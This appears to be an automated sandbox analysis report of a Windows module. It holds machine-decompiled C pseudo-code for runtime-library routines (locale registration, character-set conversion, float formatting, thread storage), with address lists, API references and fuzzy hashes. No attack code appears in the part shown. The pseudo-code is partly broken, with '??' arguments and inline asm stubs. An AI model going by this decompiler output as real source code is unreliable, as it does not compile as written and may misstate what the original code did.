																																																							 *((char*)(_t752 + 0x28)) =  *((intOrPtr*)(_t770 + 0x10));
																																																							E6DD2542F(_t544, _t663, _t715, _t733, _t752,  *_t245);
																																																							return E6DD30075(_t752,  *((intOrPtr*)(_t770 + 8)));
																																																						} else {
																																																							_t733 =  *(_t770 - 0x10);
																																																							 *(_t770 - 0x10) = _t733;
																																																							 *(_t770 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t733);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t733 + 4))))();
																																																							 *0x6ddd6dd0 = _t733;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t733 = _t751;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t732 =  *(_t770 - 0x10);
																																																				 *(_t770 - 0x10) = _t732;
																																																				 *(_t770 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t732);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t732 + 4))))();
																																																				 *0x6ddd6e00 = _t732;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t732 = _t750;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t731 =  *(_t770 - 0x10);
																																																	 *(_t770 - 0x10) = _t731;
																																																	 *(_t770 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t731);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t731 + 4))))();
																																																	 *0x6ddd6dcc = _t731;
																																																	goto L103;
																																																}
																																															} else {
																																																_t731 = _t749;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t730 =  *(_t770 - 0x10);
																																														 *(_t770 - 0x10) = _t730;
																																														 *(_t770 - 4) = 1;
																																														E6DD16FD3(__eflags, _t730);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t730 + 4))))();
																																														 *0x6ddd6dfc = _t730;
																																														goto L96;
																																													}
																																												} else {
																																													_t730 = _t748;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t729 =  *(_t770 - 0x10);
																																											 *(_t770 - 0x10) = _t729;
																																											 *(_t770 - 4) = 1;
																																											E6DD16FD3(__eflags, _t729);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t729 + 4))))();
																																											 *0x6ddd6de0 = _t729;
																																											goto L89;
																																										}
																																									} else {
																																										_t729 = _t747;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t728 =  *(_t770 - 0x10);
																																								 *(_t770 - 0x10) = _t728;
																																								 *(_t770 - 4) = 1;
																																								E6DD16FD3(__eflags, _t728);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t728 + 4))))();
																																								 *0x6ddd6ddc = _t728;
																																								goto L82;
																																							}
																																						} else {
																																							_t728 = _t746;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t727 =  *(_t770 - 0x10);
																																					 *(_t770 - 0x10) = _t727;
																																					 *(_t770 - 4) = 1;
																																					E6DD16FD3(__eflags, _t727);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t727 + 4))))();
																																					 *0x6ddd6db0 = _t727;
																																					goto L75;
																																				}
																																			} else {
																																				_t727 = _t745;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t726 =  *(_t770 - 0x10);
																																		 *(_t770 - 0x10) = _t726;
																																		 *(_t770 - 4) = 1;
																																		E6DD16FD3(__eflags, _t726);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t726 + 4))))();
																																		 *0x6ddd6dd8 = _t726;
																																		goto L68;
																																	}
																																} else {
																																	_t726 = _t744;
																																	goto L68;
																																}
																															}
																														} else {
																															_t725 =  *(_t770 - 0x10);
																															 *(_t770 - 0x10) = _t725;
																															 *(_t770 - 4) = 1;
																															E6DD16FD3(__eflags, _t725);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t725 + 4))))();
																															 *0x6ddd6dc4 = _t725;
																															goto L61;
																														}
																													} else {
																														_t725 = _t743;
																														goto L61;
																													}
																												}
																											} else {
																												_t724 =  *(_t770 - 0x10);
																												 *(_t770 - 0x10) = _t724;
																												 *(_t770 - 4) = 1;
																												E6DD16FD3(__eflags, _t724);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t724 + 4))))();
																												 *0x6ddd6dc8 = _t724;
																												goto L54;
																											}
																										} else {
																											_t724 = _t742;
																											goto L54;
																										}
																									}
																								} else {
																									_t723 =  *(_t770 - 0x10);
																									 *(_t770 - 0x10) = _t723;
																									 *(_t770 - 4) = 1;
																									E6DD16FD3(__eflags, _t723);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t723 + 4))))();
																									 *0x6ddd6df4 = _t723;
																									goto L47;
																								}
																							} else {
																								_t723 = _t741;
																								goto L47;
																							}
																						}
																					} else {
																						_t722 =  *(_t770 - 0x10);
																						 *(_t770 - 0x10) = _t722;
																						 *(_t770 - 4) = 1;
																						E6DD16FD3(__eflags, _t722);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t722 + 4))))();
																						 *0x6ddd6df8 = _t722;
																						goto L40;
																					}
																				} else {
																					_t722 = _t740;
																					goto L40;
																				}
																			}
																		} else {
																			_t721 =  *(_t770 - 0x10);
																			 *(_t770 - 0x10) = _t721;
																			 *(_t770 - 4) = 1;
																			E6DD16FD3(__eflags, _t721);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t721 + 4))))();
																			 *0x6ddd6dc0 = _t721;
																			goto L33;
																		}
																	} else {
																		_t721 = _t739;
																		goto L33;
																	}
																}
															} else {
																_t720 =  *(_t770 - 0x10);
																 *(_t770 - 0x10) = _t720;
																 *(_t770 - 4) = 1;
																E6DD16FD3(__eflags, _t720);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t720 + 4))))();
																 *0x6ddd6df0 = _t720;
																goto L26;
															}
														} else {
															_t720 = _t738;
															goto L26;
														}
													}
												} else {
													_t719 =  *(_t770 - 0x10);
													 *(_t770 - 0x10) = _t719;
													 *(_t770 - 4) = 1;
													E6DD16FD3(__eflags, _t719);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t719 + 4))))();
													 *0x6ddd6dbc = _t719;
													goto L19;
												}
											} else {
												_t719 = _t737;
												goto L19;
											}
										}
									} else {
										_t718 =  *(_t770 - 0x10);
										 *(_t770 - 0x10) = _t718;
										 *(_t770 - 4) = 1;
										E6DD16FD3(__eflags, _t718);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t718 + 4))))();
										 *0x6ddd6dec = _t718;
										goto L12;
									}
								} else {
									_t718 = _t736;
									goto L12;
								}
							}
						} else {
							_t717 =  *(_t770 - 0x10);
							 *(_t770 - 0x10) = _t717;
							 *(_t770 - 4) = 1;
							E6DD16FD3(__eflags, _t717);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t717 + 4))))();
							 *0x6ddd6db8 = _t717;
							goto L5;
						}
					} else {
						_t717 = _t735;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F230
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F23A
int.LIBCPMT ref: 6DD1F251

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

messages.LIBCPMT ref: 6DD1F274
std::_Facet_Register.LIBCPMT ref: 6DD1F28B
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F2AB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F2C9

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: 5213af6f85e1d046a6e2e6c4b4d5c41620223901b984df84423ccbe6d0d2b8ea
Instruction ID: 973684e501dcf9253a820899937d11092c7b38e08036b51bc83e50ba81036f6e
Opcode Fuzzy Hash: 5213af6f85e1d046a6e2e6c4b4d5c41620223901b984df84423ccbe6d0d2b8ea
Instruction Fuzzy Hash: 2C119E7690C12D9BCF01FBA8DC50AFDB774EF85724F260109F610A7290DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6621F, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6DD6621F(void* __ebx, void* __ecx, void* __edi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __esi;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				int _t97;
				short* _t100;
				int _t102;
				void* _t103;
				signed int _t105;
				short* _t106;
				void* _t109;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x6ddd506c; // 0x5c069606
				_v8 = _t49 ^ _t105;
				_t102 = _a20;
				if(_t102 > 0) {
					_t78 = E6DD56BDB(_a16, _t102);
					_t109 = _t78 - _t102;
					_t4 = _t78 + 1; // 0x1
					_t102 = _t4;
					if(_t109 >= 0) {
						_t102 = _t78;
					}
				}
				_t97 = _a32;
				if(_t97 == 0) {
					_t97 =  *( *_a4 + 8);
					_a32 = _t97;
				}
				_t54 = MultiByteToWideChar(_t97, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t102, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					_pop(_t103);
					return E6DD2F8A5(_v8 ^ _t105, _t95, _t103);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t104 = 0;
							L37:
							E6DD1DEE1(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t97, 1, _a16, _t102, _t81, _v12);
						_t120 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t99 = _v12;
						_t60 = E6DD64640(_t85, _t120, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0);
						_t104 = _t60;
						if(_t104 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t95 = _t104 + _t104;
							_t87 = _t95 + 8;
							__eflags = _t95 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t100 = 0;
								__eflags = 0;
								L30:
								__eflags = _t100;
								if(__eflags == 0) {
									L35:
									E6DD1DEE1(_t100);
									goto L36;
								}
								_t62 = E6DD64640(_t87, __eflags, _a8, _a12, _t81, _v12, _t100, _t104, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t104 = WideCharToMultiByte(_a32, 0, _t100, _t104, ??, ??, ??, ??);
								__eflags = _t104;
								if(_t104 != 0) {
									E6DD1DEE1(_t100);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t95 + 8;
							__eflags = _t95 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t95 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t95 - _t87;
								asm("sbb eax, eax");
								_t100 = E6DD5F26D(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L35;
								}
								 *_t100 = 0xdddd;
								L28:
								_t100 =  &(_t100[4]);
								goto L30;
							}
							__eflags = _t95 - _t87;
							asm("sbb eax, eax");
							E6DD301B0();
							_t100 = _t106;
							__eflags = _t100;
							if(_t100 == 0) {
								goto L35;
							}
							 *_t100 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t124 = _t104 - _t70;
						if(_t104 > _t70) {
							goto L36;
						}
						_t71 = E6DD64640(0, _t124, _a8, _a12, _t81, _t99, _a24, _t70, 0, 0, 0);
						_t104 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E6DD5F26D(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E6DD301B0();
					_t81 = _t106;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x6dd66224
0x6dd66225
0x6dd66226
0x6dd6622d
0x6dd66232
0x6dd66238
0x6dd6623e
0x6dd66244
0x6dd66247
0x6dd66247
0x6dd6624a
0x6dd6624c
0x6dd6624c
0x6dd6624a
0x6dd6624e
0x6dd66253
0x6dd6625a
0x6dd6625d
0x6dd6625d
0x6dd66279
0x6dd6627f
0x6dd66284
0x6dd66417
0x6dd6641b
0x6dd6642a
0x6dd6628a
0x6dd6628a
0x6dd6628d
0x6dd66292
0x6dd66296
0x6dd662ea
0x6dd662ea
0x6dd662ec
0x6dd662ee
0x6dd6640c
0x6dd6640c
0x6dd6640e
0x6dd6640f
0x00000000
0x6dd66415
0x6dd662ff
0x6dd66305
0x6dd66307
0x00000000
0x00000000
0x6dd6630d
0x6dd6631f
0x6dd66324
0x6dd66328
0x00000000
0x00000000
0x6dd66335
0x6dd6636f
0x6dd66372
0x6dd66375
0x6dd66377
0x6dd66379
0x6dd6637b
0x6dd663c7
0x6dd663c7
0x6dd663c9
0x6dd663c9
0x6dd663cb
0x6dd66405
0x6dd66406
0x00000000
0x6dd6640b
0x6dd663df
0x6dd663e4
0x6dd663e6
0x00000000
0x00000000
0x6dd663ea
0x6dd663eb
0x6dd663ec
0x6dd663ef
0x6dd6642b
0x6dd6642e
0x6dd663f1
0x6dd663f1
0x6dd663f2
0x6dd663f2
0x6dd663ff
0x6dd66401
0x6dd66403
0x6dd66434
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd66403
0x6dd6637d
0x6dd66380
0x6dd66382
0x6dd66384
0x6dd66386
0x6dd66389
0x6dd6638e
0x6dd663a9
0x6dd663ab
0x6dd663b5
0x6dd663b7
0x6dd663b8
0x6dd663ba
0x00000000
0x00000000
0x6dd663bc
0x6dd663c2
0x6dd663c2
0x00000000
0x6dd663c2
0x6dd66390
0x6dd66392
0x6dd66396
0x6dd6639b
0x6dd6639d
0x6dd6639f
0x00000000
0x00000000
0x6dd663a1
0x00000000
0x6dd663a1
0x6dd66337
0x6dd6633c
0x00000000
0x00000000
0x6dd66342
0x6dd66344
0x00000000
0x00000000
0x6dd6635b
0x6dd66360
0x6dd66364
0x00000000
0x00000000
0x00000000
0x6dd6636a
0x6dd6629d
0x6dd6629f
0x6dd662a1
0x6dd662a9
0x6dd662c8
0x6dd662ca
0x6dd662d4
0x6dd662d6
0x6dd662d7
0x6dd662d9
0x00000000
0x00000000
0x6dd662df
0x6dd662e5
0x6dd662e5
0x00000000
0x6dd662e5
0x6dd662ad
0x6dd662b1
0x6dd662b6
0x6dd662ba
0x00000000
0x00000000
0x6dd662c0
0x00000000
0x6dd662c0

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,6DD4F290,6DD4F290,?,?,?,6DD66470,00000001,00000001,C5E85006), ref: 6DD66279
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,6DD66470,00000001,00000001,C5E85006,?,?,?), ref: 6DD662FF
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,C5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 6DD663F9
__freea.LIBCMT ref: 6DD66406

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

__freea.LIBCMT ref: 6DD6640F
__freea.LIBCMT ref: 6DD66434

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 6dd6a940630b5805c8d11e47469b7a9dd6ebd433e178887029c5dd5bdad97467
Instruction ID: 2508f825489012639cb1c97c8b72cdd72ed52e493cfadb2deb23299262eaf910
Opcode Fuzzy Hash: 6dd6a940630b5805c8d11e47469b7a9dd6ebd433e178887029c5dd5bdad97467
Instruction Fuzzy Hash: B551DE72618266EBEB15AFA4CC80FBF77A9EB45754F1242A8FD14D6140EB34EC5086F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD523DD, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6DD523DD(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t75;
				intOrPtr _t76;
				signed int _t79;
				signed int _t86;
				intOrPtr _t88;
				signed int _t99;
				void* _t101;
				void* _t103;
				void* _t108;
				signed int _t112;
				signed int _t113;
				signed int _t116;
				void* _t120;
				signed int _t123;
				signed int _t125;
				intOrPtr _t126;
				signed int _t128;
				intOrPtr _t130;
				signed int _t131;
				void* _t135;
				void* _t136;
				void* _t138;

				_t120 = __edx;
				_t97 = __ebx;
				_push(_t101);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t123 = 0;
					_t67 = E6DD64E0A( &_v8, 0, 0, _a8, 0x7fffffff);
					_t136 = _t135 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t128 = E6DD5C7EF(_t101, _v8, 2);
						_pop(_t103);
						__eflags = _t128;
						if(_t128 == 0) {
							L11:
							E6DD5CBD3(_t128);
							_t70 = _t123;
							goto L12;
						} else {
							_t71 = E6DD64E0A(_t123, _t128, _v8, _a8, 0xffffffff);
							_t136 = _t136 + 0x14;
							__eflags = _t71;
							if(_t71 == 0) {
								_t123 = E6DD5E486(_t97, _t103, _a4, _t128);
								goto L11;
							} else {
								__eflags = _t71 - 0x16;
								if(_t71 == 0x16) {
									goto L13;
								} else {
									__eflags = _t71 - 0x22;
									if(_t71 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t123);
							_push(_t123);
							_push(_t123);
							_push(_t123);
							E6DD52188();
							asm("int3");
							E6DD30990(_t97, _t123, 0x6ddd2bc0, 0x1c);
							_t130 = _a4;
							_t75 = E6DD523DD(_t97, _t120, _t123, _t130, _t130, _a8);
							_t108 = _t123;
							_t125 = _t75;
							__eflags = _t125;
							if(_t125 != 0) {
								_t76 = E6DD5D5FF(_t97, _t108, _t120);
								_v40 = _t76;
								_v48 =  *((intOrPtr*)(_t76 + 0x4c));
								_t110 =  *((intOrPtr*)(_t76 + 0x48));
								_v44 =  *((intOrPtr*)(_t76 + 0x48));
								_v32 = 0;
								_t79 = E6DD650ED( *((intOrPtr*)(_t76 + 0x48)),  &_v32, 0, 0, _t125, 0,  &_v48);
								_t138 = _t136 + 0x18;
								__eflags = _t79;
								if(_t79 == 0) {
									L22:
									_t99 = E6DD5F26D(_t110, _v32 + 4);
									__eflags = _t99;
									if(_t99 == 0) {
										goto L15;
									} else {
										_t20 = _t99 + 4; // 0x4
										_v36 = _t20;
										_t110 =  &_v48;
										_t125 = 0;
										_t86 = E6DD650ED( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t138 = _t138 + 0x18;
										__eflags = _t86;
										if(_t86 == 0) {
											L29:
											_t126 = _v48;
											E6DD52361(4);
											_pop(_t112);
											_v8 = _v8 & 0x00000000;
											_t131 = _t130 + _t130;
											_t113 = _t112 | 0xffffffff;
											__eflags =  *(_t126 + 0x24 + _t131 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E6DD5CBD3( *(_t126 + 0x24 + _t131 * 8));
													_pop(_t116);
													 *(_t126 + 0x24 + _t131 * 8) =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
													_t113 = _t116 | 0xffffffff;
													__eflags = _t113;
												}
											}
											_t88 = _v40;
											__eflags =  *(_t88 + 0x350) & 0x00000002;
											if(( *(_t88 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x6ddd52ec & 0x00000001;
												if(( *0x6ddd52ec & 0x00000001) == 0) {
													__eflags =  *(_t126 + 0x24 + _t131 * 8);
													if( *(_t126 + 0x24 + _t131 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t113 == 1;
														if(_t113 == 1) {
															E6DD5CBD3( *(_t126 + 0x24 + _t131 * 8));
															_t51 = _t126 + 0x24 + _t131 * 8;
															 *_t51 =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t99 =  *((intOrPtr*)(_t126 + 0xc));
											 *(_t126 + 0x24 + _t131 * 8) = _t99;
											 *((intOrPtr*)(_t126 + 0x1c + _t131 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E6DD525CE();
										} else {
											__eflags = _t86 - 0x16;
											if(_t86 == 0x16) {
												L26:
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												goto L20;
											} else {
												__eflags = _t86 - 0x22;
												if(_t86 != 0x22) {
													__eflags = _t86;
													if(_t86 == 0) {
														goto L29;
													} else {
														E6DD5CBD3(_t99);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t79 - 0x16;
									if(_t79 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t79 = E6DD52188();
									} else {
										__eflags = _t79 - 0x22;
										if(_t79 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t79;
									if(_t79 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return E6DD309D6();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E6DD5E486(__ebx, _t101, _a4, 0);
					L12:
					return _t70;
				}
			}

0x6dd523dd
0x6dd523dd
0x6dd523e2
0x6dd523e7
0x6dd523f7
0x6dd523f8
0x6dd52401
0x6dd52409
0x6dd5240e
0x6dd52411
0x6dd52413
0x6dd5241f
0x6dd52429
0x6dd5242c
0x6dd5242d
0x6dd5242f
0x6dd52460
0x6dd52461
0x6dd52467
0x00000000
0x6dd52431
0x6dd5243b
0x6dd52440
0x6dd52443
0x6dd52445
0x6dd5245e
0x00000000
0x6dd52447
0x6dd52447
0x6dd5244a
0x00000000
0x6dd5244c
0x6dd5244c
0x6dd5244f
0x00000000
0x6dd52451
0x00000000
0x6dd52451
0x6dd5244f
0x6dd5244a
0x6dd52445
0x6dd52415
0x6dd52415
0x6dd52418
0x6dd5246f
0x6dd5246f
0x6dd52470
0x6dd52471
0x6dd52472
0x6dd52474
0x6dd52479
0x6dd52481
0x6dd52489
0x6dd5248d
0x6dd52493
0x6dd52494
0x6dd52496
0x6dd52498
0x6dd524a1
0x6dd524a6
0x6dd524ac
0x6dd524af
0x6dd524b2
0x6dd524b7
0x6dd524c6
0x6dd524cb
0x6dd524ce
0x6dd524d0
0x6dd524ea
0x6dd524f7
0x6dd524f9
0x6dd524fb
0x00000000
0x6dd524fd
0x6dd524fd
0x6dd52500
0x6dd52503
0x6dd5250e
0x6dd52511
0x6dd52516
0x6dd52519
0x6dd5251b
0x6dd5253e
0x6dd5253e
0x6dd52543
0x6dd52548
0x6dd52549
0x6dd5254d
0x6dd52553
0x6dd52556
0x6dd52558
0x6dd5255c
0x6dd52560
0x6dd52566
0x6dd5256b
0x6dd5256c
0x6dd52571
0x6dd52571
0x6dd52571
0x6dd52560
0x6dd52574
0x6dd52577
0x6dd5257e
0x6dd52580
0x6dd52587
0x6dd5258d
0x6dd5258f
0x6dd52591
0x6dd52595
0x6dd52596
0x6dd5259c
0x6dd525a2
0x6dd525a2
0x6dd525a2
0x6dd525a2
0x6dd52596
0x6dd5258f
0x6dd52587
0x6dd525aa
0x6dd525ac
0x6dd525b3
0x6dd525b7
0x6dd525be
0x6dd5251d
0x6dd5251d
0x6dd52520
0x6dd52527
0x6dd52527
0x6dd52528
0x6dd52529
0x6dd5252a
0x6dd5252b
0x00000000
0x6dd52522
0x6dd52522
0x6dd52525
0x6dd5252e
0x6dd52530
0x00000000
0x6dd52532
0x6dd52533
0x00000000
0x6dd52538
0x00000000
0x00000000
0x00000000
0x6dd52525
0x6dd52520
0x6dd5251b
0x6dd524d2
0x6dd524d2
0x6dd524d5
0x6dd524dc
0x6dd524dc
0x6dd524dd
0x6dd524de
0x6dd524df
0x6dd524e0
0x6dd524e1
0x6dd524e1
0x6dd524d7
0x6dd524d7
0x6dd524da
0x00000000
0x00000000
0x6dd524da
0x6dd524e6
0x6dd524e8
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd524e8
0x6dd5249a
0x6dd5249a
0x6dd5249a
0x6dd525ca
0x6dd5241a
0x6dd5241a
0x6dd5241d
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5241d
0x6dd52418
0x6dd523e9
0x6dd523ee
0x6dd5246b
0x6dd5246e
0x6dd5246e

APIs

__cftoe.LIBCMT ref: 6DD52409
__cftoe.LIBCMT ref: 6DD5243B

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: c625082a2bd02c260262376cdf27aa5309e0924856c5280237fc0d136c3955ef
Instruction ID: 1b8b4a864a7d9128e4ec75027ffe3e012ea03a9573ba1d772475ca899412a4ef
Opcode Fuzzy Hash: c625082a2bd02c260262376cdf27aa5309e0924856c5280237fc0d136c3955ef
Instruction Fuzzy Hash: EF51C972908206EBDF25BB688C40F7E7FBDEF4A36CF114219F925A6182DB31D5248674

Uniqueness

Uniqueness Score: -1.00%

Function 6DD342C8, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6DD342C8(void* __ecx, void* __edx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t26;
				void* _t29;

				if( *0x6ddd5090 != 0xffffffff) {
					_t26 = GetLastError();
					_t11 = E6DD356A9(__eflags,  *0x6ddd5090);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6DD356E4(__eflags,  *0x6ddd5090, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push(1);
								_t29 = E6DD3B9EA(_t16);
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6DD356E4(__eflags,  *0x6ddd5090, 0);
								} else {
									__eflags = E6DD356E4(__eflags,  *0x6ddd5090, _t29);
									if(__eflags != 0) {
										_t11 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								L6DD51DEB(_t29);
							} else {
